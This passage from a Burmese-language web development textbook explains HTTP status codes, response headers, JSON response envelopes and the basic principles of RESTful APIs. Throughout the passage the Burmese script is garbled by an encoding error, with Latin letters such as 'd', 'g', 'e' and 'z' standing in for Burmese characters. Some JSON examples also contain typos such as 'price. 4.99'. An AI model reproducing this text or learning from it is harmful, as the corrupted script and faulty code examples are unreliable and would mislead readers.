{ id: 3, name: "Book", price: 4.99 }
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Request  တုံးက  Method  dတွကို  ဦးစားdပး eကည့်ခဲ့ပါတယ်။  Response  အတွက်dတာ့  Status Code
dတွကို ဦးစားdပးပြပီး dလ့လာeကရမှာပါ။

Status Codes
Status Code dတွကို အုပ်စု (၅) စုခွဲပြပီး မှတ်နိုင်ပါတယ်။

• 1XX – လက်ခံရရှိdeကာင်း အသိdပးgခင်း
• 2XX – ဆက်သွယ်မှု dအာင်gမင်gခင်း
• 3XX – တည်dနရာ dgပာင်းလဲgခင်း
• 4XX – Client deကာင့်goစ်dသာ Error
• 5XX – Server deကာင့်goစ်dသာ Error

Status Code dတွဟာ အပြမဲတမ်း (၃) လံုးတွဲပဲလာပါတယ်။ တgခားပံုစံမလာပါzူး။ 1 နဲ့စတဲ့ Status Code
dတဟွာ  ဆက်သွယ်မှုကို  လက်ခရံရှိdeကာင်း  အdeကာင်းgပန်တဲ့  ကုဒ်dတွပါ။  အလုပ်မလုပ်dသးပါzူး၊
အသိdပးတဲ့  အဆင့်ပဲ ရှိပါdသးတယ်။  2  နဲ့စတဲ့  Status Code  dတကွdတာ့ အများအားgoင့်ဆက်သွယ်မှု
dအာင်gမင်သလုိ  သက်ဆိုင်ရာလုပ်ငန်းလည်း  dအာင်gမင်တယ်လ့ုိ  အဓိပ္ပါယ်ရတဲ့  ကုဒ်dတွပါ။  3  နဲ့စတဲ့
Status  Code  dတကွdတာ့  အများအားgoင့်  Client  လုိချင်တဲ့အချက်အလက်ရဲ့  တည်dနရာdgပာင်းသွား
deကာင်း အသိdပးတဲ့  Code dတွပါ။  4  နဲ့ စတဲ့  Status Code dတွကdတာ့ ဆက်သွယ်မှု မdအာင်gမင်တဲ့
အခါ  Error  အdနနဲ့ dပးမှာပါ။ မdအာင်gမင်ရgခင်းအdeကာင်းရင်းက Client  ရဲ့ အမှားdeကာင့်ပါ။  5  နဲ့စတဲ့
Status Code  dတွကလည်း ဆက်သွယ်မှု  မdအာင်gမင်တဲ့အခါ  Error  အdနနဲ့  dပးမှာပါပဲ။  ဒါdပမယ့် ဒီ
တစ်ခါdတာ့ မdအာင်gမင်တာ Server ရဲ့ အမှားdeကာင့်ပါ။

Status Code  dပါင်း  (၅၀)  dကျာ်ရှိလ့ုိ  တစ်ခုမကျန်အကုန်မdoာ်gပdတာ့ပါzူး။ အdရးကြကီးတဲ့  Code dတွ
ကိုပဲ dရွးထုတ်doာ်gပသွားပါမယ်။ အdရးကြကီးပါတယ်။ ကိုယ့် Service နဲ့ API zက်က သင့်dတာ်မှန်ကန်တဲ့
Status Code ကို gပန်dပးနိုင်oုိ့ လုိအပ်တဲ့အတွက် Code dတွရဲ့ အဓိပ္ပါယ်ကို သတိgပုမှတ်သားdပးပါ။
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200 OK –  ဆက်သွယ်မှုကိုလက်ခံရရှိပြပီး  လုပ်ငန်းအားလံုး dအာင်gမင်တဲ့အခါ ဒီ  Code  ကိုgပန်ပို့dပးရမှာ
ပါ။ Request Method zာနဲ့ပဲလာလာ dအာင်gမင်တယ်ဆိုရင် သံုးနိုင်ပါတယ်။

201 Created –  ဆက်သွယ်မှုကိုလက်ခံရရှိပြပီး  အချက်အလက်သစ်  တည်dဆာက်dအာင်gမင်တဲ့အခါ
gပန်ပ့ုိdပးရမှာပါ။ အများအားgoင့် POST သ့ုိမဟုတ် PUT Method နဲ့လာတဲ့ Request dတွကို တုံ့gပန်o့ုိပါ။

202 Accepted – ဆက်သွယ်မှုကို dအာင်gမင်စွာလက်ခံရရှိတယ်၊ လုပ်စရာရှိတာ ဆက်လုပ်ထားလုိက်
မယ်လို့ dgပာတာပါ။ လက်ခံရရှိdeကာင်းသက်သက်ပဲ အdeကာင်းgပန်လုိတဲ့အခါ သံုးနိုင်ပါတယ်။

204  No  Content –  ဆက်သွယ်မှုကို  လက်ခံရရှတိယ်၊  dအာင်gမင်တယ်၊  ဒါdပမယ့်  gပန်ပို့စရာ
အချက်အလက် မရှိတဲ့အdgခအdနမျ ို းမှာ  သံုးနိုင်ပါတယ်။ ဥပမာ  DELETE Method  နဲ့လာတဲ့  Request
မျ ို းပါ။ oျက်လိုက်တယ်၊ dအာင်gမင်တယ်၊ ဒါdပမယ့် zာမှgပန်မပ့ုိdတာ့zူး ဆိုတဲ့သdzာပါ။

301 Move Permanently –  အချက်အလက်ရဲ့  တည်dနရာdgပာင်းသွားdeကာင်း အသိdပးoုိ့ သုံးပါ
တယ်။ Redirect ဆိုတဲ့သdzာပါ။ ဥပမာ - /items ကိုလုိချင်တယ်လုိ့ Client က Request လုပ်လာdပ
မယ့် /items ကမရှိzူး၊ /products ပဲ ရှိတယ်ဆိုရင် 301 ကို Location Header နဲ့တွဲပြပီး gပန်ပ့ုိနိုင်ပါ
တယ်။ ဥပမာ ဒီလုိပါ။

 Request 
GET /items
Content-Type: application/json

 Response 
301 Move Permanently
Location: http://domain/products
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307 Temporary Redirect – နံပါတ်dကျာ်ပြပီး 307 ကို dgပာလုိက်တာ သdzာသzာဝ တူလ့ုိပါ။
တည်dနရာ dgပာင်းသွားdeကာင်း dgပာတာပါပဲ။ Redirect အတွက် သံုးပါတယ်။ ကွာသွားတာက 301     ဆို  
ရင်  အပြပီးdgပာင်းတာ  dနာက်gပန်မလာနဲ့dတာ့လ့ုိ  အဓိပ္ပါယ်ရပြပီး    307     ဆိုရင်dတာ့  ခဏနေdgပာင်းတာ၊  
dနာက်gပန်လာချင် လာခဲ့ ဆိုတဲ့သdzာမျ ို း အဓိပ္ပါယ်ရပါတယ်။

304 Not Modified – ဒါကအများအားgoင့် Cache အတွက်အသုံးပါတယ်။ ရိုးရိုး  Web Application
dတွမှာ  ဒီ  Status  Code  ကို  အပြမဲလုိလုိdတွ့ရdပမယ့်  API  မှာdတာ့  အသံုးနည်းပါတယ်။  Client  က
Request လုပ်တဲ့အခါမှာ  If-Modified-Since Header  ကိုသံုးပြပီးdတာ့ အdgပာင်းအလဲရှိမှdပးပါလ့ုိ
dgပာလ့ုိရတယ်။ ဒါဆိုရင် Server က စစ်eကည့်ပြပီးdတာ့ အdgပာင်းအလဲမရှိရင် Data ကို gပန်မdပးdတာ့zဲ
304 Not Modified လ့ုိ dgပာလုိက်လ့ုိ ရတ့ဲသdzာပါ။ 

400 Bad Request – Client   ရဲ့   Request   က   မgပည့်စုံရင် (သ့ုိမဟုတ်) တစ်ခုခု မှားdနရင် gပန်dပးတဲ့
Error Code ပါ။

401 Unauthorized – Client က Request လုပ်လာdပမယ့်၊ အ့ဲဒီdနရာကိုဝင်ခွင့်မရှိတဲ့အခါ ဒီ Code
ကို Error အdနနဲ့dပးရပါတယ်။ 

Security မှာ Authentication နဲ့ Authorization ဆိုပြပီး နှစ်မျ ို းရှိပါတယ်။ dလ့လာစမှာ ဒီနှစ်ခုကို ခပ်ဆင်
ဆင်goစ်dနလ့ုိ dရာeကပါတယ်။ မျက်စိလည်eကပါတယ်။  အကျဉ်းချုပ်dgပာရရင်  Authentication    ဆိုတာ  
ဝင်ခွင့်ရှိမရှိစစ်တာပါ။  Login  ဝင်လုိက်ရင်  Authenticate  goစ်သွားတယ်၊  ဝင်ခွင့်ရသွားတယ် ဆိုပါdတာ့။
Authorization    ဆိုတာကdတာ့  လုပ်ခွင့်ရှိမရှိစစ်တာပါ  ။  ဝင်ခွင့်ရှိရင်dတာင်  လုပ်ခွင့်က  ရှိချင်မှ  ရှိမှာပါ။
Authenticate  goစ်dနdပမယ့်  Authorize  goစ်ချင်မှ goစ်တာပါ။ ဒီလုိdရာတတ်တဲ့ကိစ္စကိုမှ  ထပ်ပြပီးမျက်စိ
လည်စရာ goစ်သွားနိုင်တာdကာ့  401 Unauthorized မှာ အသံုးအနှုန်း  Unauthorized လ့ုိ ပါdနdပ
မယ့် တစ်ကယ်တမ်း  Authenticate  လုိတဲ့dနရာမှာ သံုးရတာပါတဲ့။  Authorize  လုိတဲ့dနရာdတွအတွက်
403 Forbidden ကို သံုးရပါတယ်။
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403 Forbidden – Client က Request လုပ်လာdပမယ့် သ့ူမှာ အ့ဲဒီအလုပ်ကို လုပ်ခွင့်မရှိတဲ့အခါ 403
Forbidden ကို Error Code အdနနဲ့ gပန်dပးရပါတယ်။

404 Not Found – မရှိတဲ့အရာတစ်ခုကို Client က Request လုပ်ယူoို့ကြကိုးစားတဲ့အခါ dပးရတဲ့ Error
Code  goစ်ပါတယ်။  ဒီဟာကdတာ့  ကျွန်dတာ်တို့  အင်တာနက်dပါ်မှာ  မeကာခဏနေ  dတွ့oူးdနeကပါ။
Request URL  မှားdနတာ  (သ့ုိမဟုတ်)  အရင်က မှန်dပမယ့် အခုoျက်ထားလိုက်လ့ုိ  မရှိdတာ့တာမျ ို းမှာ
dပးရမှာပါ။

405 Method Not Allowed – တစ်ချ ို ့ URL dတွကို အသုံးgပုခွင့်ရှိတဲ့ Method နဲ့ မရှိတဲ့ Method
dတွ ခွဲပြပီးသတ်မှတ်ထားမယ်ဆို သတ်မှတ်ထားလ့ုိ ရပါတယ်။ ဥပမာ /users ဆိုတဲ့  URL အတွက် GET
နဲ့ POST လက်ခံdပမယ့် DELETE လက်မခံzူး ဆိုeကပါစို့။ Client က /users ကို DELETE Method နဲ့
Request လုပ်လာတဲ့အခါ 405 ကို gပန်dပးနိုင်ပါတယ်။

409 Conflict – Database Table တစ်ခုထဲမှာ Record အသစ်တစ်deကာင်း ထည့်လုိက်တယ်ဆိုရင်
Auto-Increment နဲ့ ID gပန်ရdလ့ ရှိပါတယ်။ Auto-Increment မသံုးရင်လည်း တgခားနည်းလမ်း တစ်ခုခု
နဲ့ Unique goစ်တဲ့ Key/ID တစ်ခုခုကို gပန်ရdလ့ ရှိပါတယ်။ ဒါdeကာင့် အသစ်ထည့်လုိရင် ID dတွ Key dတွ
မdပးရပါzူး။ ဒါdeကာင့် အသစ်တည်dဆာက်ပါလ့ုိdgပာတဲ့ Request dတွမှာ ID dပးလာတဲ့အခါ လက်မခံ
သင့်ပါzူး။ အ့ဲဒီလို ID   dပးပြပီး အသစ်dဆာက်ခိုင်းdနရင်   409 Conflict ကို Error Code အdနနဲ့ gပန်
dပးdလ့ရှိပါတယ်။

415 Unsupported Media Type –  Client  က  Accept Header  နဲ့  သူလုိချင်တဲ့  Response
Body Format ကို dgပာလုိ့ရတယ်လ့ုိ dgပာခဲ့ပါတယ်။ အကယ်၍ Client   က လုိချင်တဲ့   Format   ကို   Server  
က      Support   မလုပ်ရင်   415 ကို Error Code အdနနဲ့ gပန်dပးရပါတယ်။

418 I"m a Teapot – ဟာသသdzာနဲ့ ထည့်ထားတဲ့ Error Code ပါ။ ဟာသဆိုdပမယ့် တစ်ကယ်ရှိ
ပါတယ်။  Client  က Server  ကို dကာ်oီတစ်ခွက်dပးပါလ့ုိ  Request  လုပ်လာခဲ့ရင်  418 ကို  Error Code
အdနနဲ့ gပန်dပးရတာပါ။ Teapot မ့ုိလ့ုိလက်zက်ရည်ပဲရမယ်၊ dကာ်oီမရzူးလ့ုိ dgပာလုိက်တဲ့ သdzာပါ။
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429 Too Many Requests – Server dတွမှာ လက်ခံနိုင်တဲ့ Request အdရအတွက် အကန့်အသတ်
ရိှeကပါတယ်။ ဥပမာ - တစ်မိနစ်မှာ  Client တစ်ခုဆီက Request အကြကိမ် (၆၀) ပဲ လက်ခံမယ်ဆိုတာမျ ို း
ပါ။ သတ်မှတ်ထားတဲ့   Request   အကြကိမ်dရdကျာ်သွားပြပီဆိုရင်   429 ကို Error အdနနဲ့ gပန်dပးနိုင်ပါတယ်။

500 Internal Server Error – Client Request က အဆင်dgပdပမယ့် Server zက်မှာ Error
goစ်dနတဲ့အခါ gပန်dပးရတဲ့ Code ပါ။ zာ   Error   မှန်းမသိတဲ့အခါ   (သ့ုိမဟုတ်) zာ Error လည်း မdgပာgပ
ချင်တဲ့အခါ 500 ကို gပန်dပးeကပါတယ်။

502 Bad Gateway – Server dတဟွာ အချင်းချင်း ဆက်သွယ်ပြပီးdတာ့လည်း အလုပ်လုပ်oို့ လုိတတ်
ပါတယ်။  Client  Request  ကို  လကရ်ှိ  Server  က  လက်ခံရရှိdပမယ့်  လုိအပ်လ့ုိ  dနာက်  Server  ကို
ထပ်ဆင့် ဆက်သွယ်တဲ့အခါ အဆင်မdgပzူးဆိုရင် 502 ကို gပန်dပးdလ့ရှိeကပါတယ်။

503 Service Unavailable –  Server  dတွမှာ  တစ်ချနိ်တည်း  တစ်ပြပိုင်းတည်း  Concurrent
လက်ခံအလုပ်လုပ်နိုင်တဲ့ ပမာဏနေအကန့်အသတ်ရှိပါတယ်။ ဥပမာ - Client အခု (၂၀) ကိုပဲ တစ်ပြပိုင်တည်း
လက်ခံ  အလုပ်လုပ်နိုင်တယ်  ဆိုတာမျ ို းပါ။  တစ်ပြပိုင်တည်း  ဆက်သွယ်တဲ့    Client    က  သတ်မှတ်  
အdရအတွက် dကျာ်သွားတဲ့အခါ 503 ကို gပန်dပးeကပါတယ်။

မှတ်စရာနည်းနည်းများတယ်လ့ုိ  ဆိုနိုင်dပမယ့်၊  အခက်ကြကီးdတာ့လည်း  မဟုတ်ပါzူး။  ကြကိုးစားမှတ်သား
ထားdပးပါ။ API ဒီဇုိင်းမှာ Request Method dတွနဲ့  Status Code dတဟွာ အdရးအကြကီးဆုံးအစိတ်အပိုင်း
dတွလ့ုိ ဆိုနိုင်ပါတယ်။

ဆက်လက်ပြပီး Response Header dတွအdeကာင်းdလ့လာeကပါမယ်။
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Response Headers
Response  Headers  dတွထဲမှာ  Content-Type  နဲ့  Location တို့ကိုပဲ  အရင်eကည့်ရမှာပါ။
Request Headers အdeကာင်း dgပာခဲ့တုံးကနဲ့ သdzာသzာဝ အတူတူပါပဲ။ Content-Type Header
ကိုအသံုးgပုပြပီးdတာ့ Response Body ရဲ့  Content Type ကို သတ်မှတ်dပးရမှာပါ။  Response Body က
လည်း၊ Request Body လုိပဲ JSON ပဲ goစ်ရမှာမ့ုိလ့ုိ application/json ကိုပဲ အသံုးgပုရမှာပါ။ ဒါdပ
မယ့် Request Body မှာလို URL Encoded ကိုdတာ့ Response မှာ မသံုးeကပါzူး။ ဒါdeကာင့် Response
Body ရဲ့ Content Type အgoစ် JSON တစ်မျ ို းတည်းပဲ သံုးရမှာလို့ ဆိုနိုင်ပါတယ်။

Location Header ကိုdတာ့ အထူးသgoင့် POST နဲ့လာတဲ့ Request dတွအတွက် သံုးပါတယ်။ ဒီလုိပါ -

 Request 
POST /products
Content-Type: application/json
{ name: "Book", price: 4.99 }

 Response 
201 Created
Content-Type: application/json
Location: http://domain/products/3
{ id: 3, name: "Book", price: 4.99 }

Request  က  POST  နဲ့လာတဲ့အတွက်  Request  Body  ကိုသုံးပြပီး  အချက်အလက်သစ်တစ်ခု  oန်တီး
dပးလုိက်ပါတယ်။  ဒီလိုoန်တီးလိုက်တဲ့အတွက်  ထွက်လာတဲ့  ID  တန်oုိးက နမူနာအရ  3  ပါ။  ဒါdeကာင့်
Response မှာ Status Code အdနနဲ့ 201 Created ကိုသုံးပြပီးdတာ့ Headers မှာ Location ကိုသုံး
ပြပီး oန်တီးလုိက်တဲ့ Record ကို gပန်eကည့်ချင်ရင် eကည့်လ့ုိရတဲ့ URL ကို တွဲdပးလိုက်တာပါ။

တgခား  Headers  dတွလည်း သ့ူdနရာနဲ့သူအdရးကြကီးdပမယ့်  Request  တုံးကလုိပဲ လက်dတွ့အသံုးgပုရ
မယ့် Headers dတွကိုပဲ dရးွeကည့်ချင်တဲ့ သdzာပါ။
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• Access-Control-Allow-Credentials
• Access-Control-Allow-Origin
• Access-Control-Allow-Methods
• Access-Control-Allow-Headers
• Cache-Control
• Content-Encoding
• Content-Length
• Content-Type
• Expires
• Server
• Last-Modified
• Location
• Set-Cookie
• WWW-Authenticate
• X-Rate-Limit-Limit *
• X-Rate-Limit-Remaining *
• X-Rate-Limit-Reset *

ဒီထဲက Access-Control-* နဲ့ စတဲ့  Headers dတွအdeကာင်းကိုdတာ့ CORS လ့ုိdခါ်တဲ့ နည်းပညာ
အdeကာင်း  dရာက်dတာ့မှ  ထည့်dgပာပါမယ်။  X-Rate-* နဲ့  စတဲ့  Headers  dတွကdတာ့  Standard
Headers dတွ မဟုတ်eကပါzူး၊ ဒါdပမယ့် API ဒီဇုိင်းအတွက် အသံုးများeကတဲ့ Custom Headers dတွပါ။
dနာက်တစ်ခန်းdကျာ်မှာ ဒီအdeကာင်း ထည့်dgပာသွားမှာပါ။

Response Body
Response Body ဟာ JSON Format goစ်ရမှာပါ။ ဒီdနရာမှာ Data ကို ပံုစံနှစ်မျ ို းနဲ့ gပန်dပးလ့ုိရပါတယ်။
အရှိအတိုင်းgပန်dပးလို့ရသလုိ  Data  Envelope  နဲ့ထည့်ပြပီးdတာ့လည်း  gပန်dပးလို့ရပါတယ်။  ဥပမာ  -
စာအုပ်စာရင်းတစ်ခု  JSON  Array  အdနနဲ့  ရှိတယ်ဆိုပါစို့။  ဒါကို  အရှိအတိုင်း  gပန်dပးမယ်ဆိုရင်  သ့ူရဲ့
oဲွ့စည်းပံုက ဒီလုိgoစ်နိုင်ပါတယ်။

 JSON 
[

{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
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အရှိအတိုင်း၊ ဒီအတိုင်းမdပးပဲ Data Envelope နဲ့ အုပ်ပြပီးdတာ့ အခုလုိလည်း gပန်dပးလ့ုိရပါတယ်။

 JSON 
{

data: [
{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
}

သတိထားeကည့်ပါ  ကွာပါတယ်။  Data  Envelope  နဲ့  ထည့်dပးတဲ့အတွက်  zာထူးသွားလည်းဆိုdတာ့
တgခား ဆက်စပ်အချက်အလက် (Meta information) dတွကိုပါ တွဲထည့်dပးလ့ုိ ရနိုင်သွားပါတယ်။ ဒီလုိပါ
-

 JSON 
{

success: true,
total: 3,
data: [

{ id: 1, title: "React", price: 4.99 },
{ id: 2, title: "Laravel", price: 4.99 },
{ id: 3, title: "API", price. 4.99 }

]
}

Data နဲ့အတူ တgခားဆက်စပ်အသံုးဝင်နိုင်တဲ့ အချက်အလက်တစ်ချ ို ့ပါ ပါဝင်သွားတာပါ။ အကယ်၍ Error
dတzွာdတွ ရှိခဲရ့င်လည်း ဒီလိုပံုစံ goစ်သွားနိုင်ပါတယ်။

 JSON 
{

success: false,
errors: {

code: 123,
message: "Cannot get book list"

}
}
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ဒီdတာ့  Response Body မှာ  Data ကို ဒီအတိုင်းgပန်dပးမယ့်အစား  Data Envelope နဲ့gပန်dပးတာက ပုိ
dကာင်းတယ်လ့ုိ ဆိုeကသူdတွ ရှိပါတယ်။ ဒါdပမယ့် တစ်ချ ို ့ကလည်း ဒါဟာ Standard  နဲ့မညီzူးလို့  ဆို
eကပါတယ်။ Meta Information dတွကို တွဲပြပီးdတာ့ doာ်gပချင်ရင်၊ Data Envelope နဲ့စုထည့်မှ မဟုတ်ပါ
zူး၊ Headers မှာ Custom Header အdနနဲ့ ထည့်dပးလုိက်လ့ုိလည်း ရတာပဲလ့ုိ ဆိုeကပါတယ်။ ဥပမာ -
နမူနာdပးထားတဲ့အထဲကဆိုရင် success တို့ errors.code တို့ဆိုတာ လုိdတာင်မလုိပါzူး။ Status
Code dတွ ရိှdနတာပဲ။ Status Code ကိုeကည့်လုိက်ယံုနဲ့ သိdနရပြပီdလ။ ကျန်တဲ့  errors.message
လုိဟာမျ ို း သီးgခား dပးo့ုိလုိအပ်ရင် X-Error-Message ဆိုပြပီးdတာ့ Custom Header အdနနဲ့ ထည့်
dပးလုိက်လ့ုိ ရနိုင်ပါတယ်။  Data  ထဲမှာ သွားdရာdပးစရာမလုိပါzူးလ့ုိ dgပာeကပါတယ်။ ဒါကdတာ့  API
Developer dတွeကားထဲမှာ ရှိdနeကတဲ့ မတူကွဲgပားတဲ့အgမင်ပါ။

လက်dတွ့မှာ Header dတွထက်စာရင် Data Envelope ထဲက အချက်အလက်dတွက ပုိပြပီးdတာ့ အသံုးgပု
ရ လွယ်လ့ုိ Data Envelope နဲ့ပဲ ပုိပြပီးdတာ့ အသံုးများeကပါတယ်။ Data Envelope ထဲမှာ zာdတွပါရမှာ
လဲဆိုတာကိုdတာ့ dနာက်တစ်ခန်းdကျာ်ကျdတာ့မှ ဆက်eကည့်eကပါမယ်။
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အခန်း (၆၉) – RESTful API

REST ဆိုတာ Representational State Transfer ရဲ့ အတိုdကာက်goစ်ပြပီး၊ Service dတွoန်တီးတဲ့အခါမှာ
လုိက်နာo့ုိ သတ်မှတ်ထားတဲ့  Architecture Design  လမ်းညွှန်ချက်goစ်ပါတယ်။  Roy Fielding  လုိdခါ်တဲ့
ကွန်ပျူတာသိပ္ပံပညာရှင်တစ်ဦးက Ph.D စာတမ်းအgoစ် (၂၀၀၀) gပည့်နှစ်မှာ တင်သွင်းခဲ့တာပါ။ ဒါdပမယ့်
သူက (၁၉၉၄) ခုနှစ်dလာက်တည်းက ဒီနည်းစနစ်dတွကိုသံုးပြပီးdတာ့ HTTP ကို ပူးdပါင်းတီထွင်dပးခဲ့တာ
ပါ။ ဒါdeကာင့်  REST    က    Architecture    goစ်ပြပီး    HTTP    က အ့ဲဒီ    Architecture    ကိုအသံုးgပုထားတဲ့  နည်း  
ပညာလို့ ဆိုနိုင်ပါတယ်။

Service dတွရဲ့သdzာသzာဝကို ပထမဆုံးအခန်းမှာ dgပာခဲ့ပြပီးgoစ်ပါတယ်။ Service dတွနဲ့ပက်သက်ရင်
RESTful Web Service လ့ုိdခါ်တဲ့ အသံုးအနှုန်းတစ်ခုရှိပါတယ်။ ဆိုလုိတာက စနစ်ကျတဲ့  Service  တစ်ခု
goစ်o့ုိဆိုရင်  RESTful  goစ်ရမယ်၊  REST Architecture Design    လမ်းညွှန်ချက်များနဲ့ ကိုက်ညီရမယ်   ဆိုတဲ့
အဓိပ္ပါယ်ပါ။ တစ်ကယ်dတာ့ HTTP ကိုအသံုးgပုတဲ့ Service goစ်တာနဲ့တင် RESTful Service goစ်ပြပီးdနပြပီ
လ့ုိ ဆိုနိုင်ပါတယ်။ HTTP ကိုယ်တိုင်က REST ကို လုိက်နာပြပီး တီထွင်ထားတာ မ့ုိလ့ုိပါ။

RESTful Services
ဒါdပမယ့်  HTTP    ကို သံုးdနတာပဲ ဆိုယုံdလာက်နဲ့ dကျနပ်လို့မရdသးပါzူး  ။  REST ရဲ့ သdzာ သzာဝ
dတွကို ကိုယ်တိုင်နားလည် ကျင့်သံုးdပးo့ုိလည်း လုိအပ်ပါdသးတယ်။ မဟုတ်ရင်  HTTP  သံုးထားdပမယ့်
REST သတ်မှတ်ချက်များနဲ့ မကိုက်ညီတာမျ ို း goစ်dနနိုင်ပါတယ်။ စနစ်မကျdတာ့တာမျ ို း goစ်နိုင်ပါတယ်။
ဒါdeကာင့် REST ရဲ့ သdzာသzာဝ အနှစ်ချုပ်ကို အခုလုိမှတ်ပါ။



PWD 2022 – အခန်း (၆၉) – RESTful API 852

Client  နဲ့  Server  တို့အeကား  အချက်အလက်dတွ  oလှယ်တဲ့အခါ  အ့ဲဒီအချက်အလက်dတွဟာ
Representable goစ်ရပါမယ်။ ဆိုလုိတာက အgပန်အလှန်oလှယ်eကတဲ့ အချက်အလက်dတွကို ကွန်ပျူတာ
စနစ်dတွက နားလည်အလုပ်လုပ်နိုင်သလို၊ လူdတွကလည်း oတ်ရှုနားလည်နိုင်ရမယ် ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ 

ဥပမာ -

/products/123/reviews ဆိုတဲ့  URL  ကို  ကွန်ပျူတာစနစ်goစ်တဲ့  HTTP  Server  က နားလည်
အလုပ် လုပ်နိုင်သလို၊ လူတစ်dယာက်က oတ်eကည့်ရင်လည်း zာကိုဆိုလုိတယ်ဆိုတာ နားလည်နိုင်dစပါ
တယ်။  /xyz987/a(12)3+b45?q=678#rtyez ဆိရုင်dတာ့ ကွန်ပျူတာက နားလည် အလုပ်လုပ်
dပးနိုင်တဲ့ URL goစ်dကာင်းgoစ်dပမယ့် လူကdတာ့ oတ်ရှုနားလည်မှာ မဟုတ်dတာ့ပါzူး။

URL တင်မကပါzူး။ gပန်သံုးသပ်eကည့်မယ်ဆိုရင် Request Methods dတွ၊ Response Status Code dတွ
Headers  dတွအားလံုးဟာလည်း  ကွန်ပျူတာစနစ်dတွသာမက  လူdတွoတ်ရှု  နားလည်နိုင်စွမ်းရှိတဲ့
သတ်မှတ်ချက်dတွ goစ်တယ်ဆိုတာကို  dတွ့ရမှာပါ။ ဒါဟာ  HTTP  က မူလကတည်းက  Representable
goစ်dနgခင်းgoစ်တယ်လ့ုိ  နားလည်ရမှာgoစ်ပြပီး  အ့ဲဒီလုိ    Representable    goစ်dနတာကို  ကိုယ့်ရဲ့အသံုးgပုပုံ  
အမှားdeကာင့် မပျက်စီးdစo့ုိ လုိအပ်ပါတယ်။

dနာက်ထပ်  REST  ရဲ့ အdရးပါတဲ့  သdzာသzာဝကdတာ့  Stateless goစ်ရမယ်ဆိုတဲ့  သတ်မှတ်ချက်ပါ
တယ်။  HTTP  က  Stateless  goစ်ပြပီးသားပါ။  Client  က  Server  ကို  ဆက်သွယ်တဲ့အခါ  Server  က
အdeကာင်းgပန်ပါတယ်။  ဒါdပမယ့်  အ့ဲဒီဆက်သွယ်မှုကို  မှတ်မထားပါzူး။  ဒါdeကာင့်  dနာက်တစ်ကြကိမ်
ဆက်သွယ်တဲ့အခါ   Server   က ဆက်သွယ်မှု အသစ်တစ်ခုအdနနဲ့ပဲ လက်ခံအလုပ်လုပ်သွားမှာပါ  ။ အရင်က
လာoူးတယ်၊ အဆင်dgပရဲ့လား၊ စသgoင့် အ့ဲဒါမျ ို းdတွ တစ်ခုမှမရှိzဲ zယ်နှစ်ကြကိမ် ဆက်သွယ်မှုကို gပုလုပ်
လာပါdစ  တစ်ခါမှ  မလာoူးတဲ့၊  သူစိမ်းတစ်dယာက်လုိပဲ  အပြမဲဆက်ဆံ  တုံ့gပန်သွားမှာ  goစ်ပါတယ်။  ဒီ
သdzာသzာဝကို Stateless goစ်တယ်လ့ုိ ဆိုတာပါ။ ဒီလို Stateless goစ်gခင်းdeကာင့်ရလာမယ့် အားသာ
ချက်dပါင်းများစွာ  ရိှပါတယ်။ အgမင်သာဆုံးကdတာ့  Client  အdနနဲ့  အရင်ဆက်သွယ်မှုdတွနဲ့  gပန်လည်
ချနိ်ညိှdနစရာ  မလုိdတာ့zဲ၊  အသစ်တစ်ခုကဲ့သ့ုိ  အပြမဲဆက်သွယ်နိုင်တဲ့အတွက်  ဆက်သွယ်ရ  လွယ်ကူရိုး
ရှင်းသွားgခင်းပဲ goစ်ပါတယ်။
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REST  ဆိုတာ  Ph.D  စာတမ်းကြကီးတစ်dစာင်goစ်လ့ုိ  ကျယ်gပန့်လှပါတယ်။ ဒါdပမယ့်  လက်dတွ့အသုံးgပုo့ုိ
အတွက်ဆိုရင်dတာ့  ဒီနှစ်ချက်ကို  မှတ်သားထားရင်  လံုdလာက်ပါပြပီ။  (၁)  ဆက်သွယ်dပးပို့တဲ့  အချက်
အလက်dတွဟာ ကွန်ပျူတာသာမက လူကပါ oတ်ရှုနားလည်နိုင်စွမ်း ရှရိမယ်။  (၂)  ဆက်သွယ်မှုdတွဟာ
Stateless  goစ်dနရမယ်။ ဒါပါပဲ။ ဒီနှစ်ချက်ကို  နားလည်လုိက်နာပြပီး  HTTP  ရဲ့ မူလသတ်မှတ်ချက်dတွကို
မှန်မှန်ကန်ကန်  အသံုးgပုသွားမယ်ဆိုရင်  ကျွန်dတာ်တို့  တည်dဆာက်မယ့်  Service  dတဟွာ စနစ်ကျတဲ့
RESTful Service dတွ goစ်dနမှာပဲ goစ်ပါတယ်။

RESTful API
API ဆိုတာဟာ Service ကို ဆက်သွယ်အသုံးgပုရန်နည်းလမ်း လ့ုိအdပါ်မှာ ရှင်းခဲ့ပါတယ်။ Web Service
တစ်ခုကို ဆက်သွယ်အသံုးgပုလုိတဲ့အခါ  URL  အပါအဝင်  Request  dတွကို အသုံးgပုရပါတယ်။ ဒါdeကာင့်
API   ဒီဇုိင်းတစ်ခု    RESTful   goစ်o့ုိဆိုတာ ဒီ   URL   နဲ့    Request   dတရွဲ့oဲွ့စည်းပုံကို စနစ်ကျdအာင် သတ်မှတ်  
တာပါပဲ။  ဒီလုိသတ်မှတ်တဲ့အခါ  မူလ  HTTP  ရဲ့  သdzာသzာဝကdန  dသွoီgခင်းမရှိdစzဲ  ကိုယ့်နည်း
ကိုယ်ဟန်နဲ့  စတိ်တိုင်းကျ သတ်မှတ်လ့ုိရနိုင်ပါတယ်။ ဒါdပမယ့် ကdန့dခတ်မှာ ဒီလုိကိုယ့်နည်းကိုယ်ဟန်
နဲ့ တစ်dကျာင်းတစ်ပုဒ်ဆန်း ထွင်ပြပီးလုပ်dနစရာ မလုိdတာ့ပါzူး။ လူတိုင်းလုိလုိက လက်ခံပြပီး ကျင့်သံုးdန
တဲ့ နည်းdတွ ရိှdနပါပြပီ။ ဒီနည်းdတွကို ဆက်dgပာသွားမှာပါ။

API URL နဲ့ပက်သက်ရင် အdခါ်အdဝါ် (၃) ခုကို အရင်မှတ်ထားoို့ လုိပါမယ်။ Resource, Action နဲ့ ID ပါ။
Resource  ဟာ  dဆာင်ရွက်မယ့်  လုပ်ငန်းရင်းgမစ်goစ်ပါတယ်။  Data  goစ်ပါတယ်။  ဥပမာအားgoင့်၊
Products, Customers, Users, Students, Books, Records, Places  စသgoင့် goစ်နိုင်ပါတယ်။  Action
